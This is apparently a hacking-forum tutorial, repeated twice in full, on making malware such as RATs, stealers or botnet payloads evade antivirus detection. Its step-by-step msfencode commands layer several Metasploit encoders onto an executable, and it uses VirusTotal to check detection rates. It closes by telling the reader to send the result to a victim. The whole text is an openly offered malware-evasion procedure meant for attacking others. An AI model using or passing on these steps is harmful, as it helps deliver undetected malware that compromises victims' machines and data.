Requirements:-
1. Backtrack Operating System
2. MSF encoders
So, our first step is to create a virus file with any of the tools like RAT, stealers, botnets,
payload or anything.
To make it FUD (Fully Undetectable), we use backtrack operating system.
Before going to FUD check your file with ant viruses at virustotal.com and we get
detection ratio 36/44.
[img]http://www.dodaj.rs/f/2k/or/2kiKfBoo/images-3.jpg[/img]
Now start terminal in Backtrack OS and go to the directory where you pasted your file.
E.g. cd Desktop
So our first step is to change the permissions of that file (775) by typing this command,
root@bt:~/Desktop# chmod 775 server.exe
Further type this command to encode your virus,
root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe -t raw -o
/root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10
[img]http://www.dodaj.rs/f/1g/nE/3ljtqi34/images-3.jpg[/img]
You’ll notice Antivirus still detected it even though we encoded it 10 times with
“x86/shikata_ga_nai” encoder.
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server2.exe
Now 2nd time, we use another encoder named as “jmp_call_additive”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server2.exe -t raw -o
/root/Desktop/Server3.exe -e x86/jmp_call_additive -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server3.exe
Now again we use another encoder named as “call4_dword_xor”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server3.exe -t raw -o
/root/Desktop/Server4.exe -e x86/call4_dword_xor -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server4.exe
Now final we encode again with this encoder “shikata_ga_nai”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server4.exe -o
/root/Desktop/final.exe -e x86/shikata_ga_nai -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 final.exe
Now here’s your final virus named as “final.exe” and upload it in virustotal.com and
you’ll see the results.
[img]http://www.dodaj.rs/f/3O/11q/2AxQirBn/images-3.jpg[/img]
And as you'll notice, you have just bypassed anti-virus. Now all you have to do is send it
to the victim and keep enjoying.
1. Backtrack Operating System
2. MSF encoders
So, our first step is to create a virus file with any of the tools like RAT, stealers, botnets,
payload or anything.
To make it FUD (Fully Undetectable), we use backtrack operating system.
Before going to FUD check your file with ant viruses at virustotal.com and we get
detection ratio 36/44.
[img]http://www.dodaj.rs/f/2k/or/2kiKfBoo/images-3.jpg[/img]
Now start terminal in Backtrack OS and go to the directory where you pasted your file.
E.g. cd Desktop
So our first step is to change the permissions of that file (775) by typing this command,
root@bt:~/Desktop# chmod 775 server.exe
Further type this command to encode your virus,
root@bt:~/Desktop# msfencode -i /root/Desktop/Server.exe -t raw -o
/root/Desktop/server2.exe -e x86/shikata_ga_nai -c 10
[img]http://www.dodaj.rs/f/1g/nE/3ljtqi34/images-3.jpg[/img]
You’ll notice Antivirus still detected it even though we encoded it 10 times with
“x86/shikata_ga_nai” encoder.
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server2.exe
Now 2nd time, we use another encoder named as “jmp_call_additive”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server2.exe -t raw -o
/root/Desktop/Server3.exe -e x86/jmp_call_additive -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server3.exe
Now again we use another encoder named as “call4_dword_xor”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server3.exe -t raw -o
/root/Desktop/Server4.exe -e x86/call4_dword_xor -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 server4.exe
Now final we encode again with this encoder “shikata_ga_nai”
root@bt:~/Desktop# msfencode -i /root/Desktop/Server4.exe -o
/root/Desktop/final.exe -e x86/shikata_ga_nai -c 1
Now again change the permissions of this output file,
root@bt:~/Desktop# chmod 775 final.exe
Now here’s your final virus named as “final.exe” and upload it in virustotal.com and
you’ll see the results.
[img]http://www.dodaj.rs/f/3O/11q/2AxQirBn/images-3.jpg[/img]
And as you'll notice, you have just bypassed anti-virus. Now all you have to do is send it
to the victim and keep enjoying.
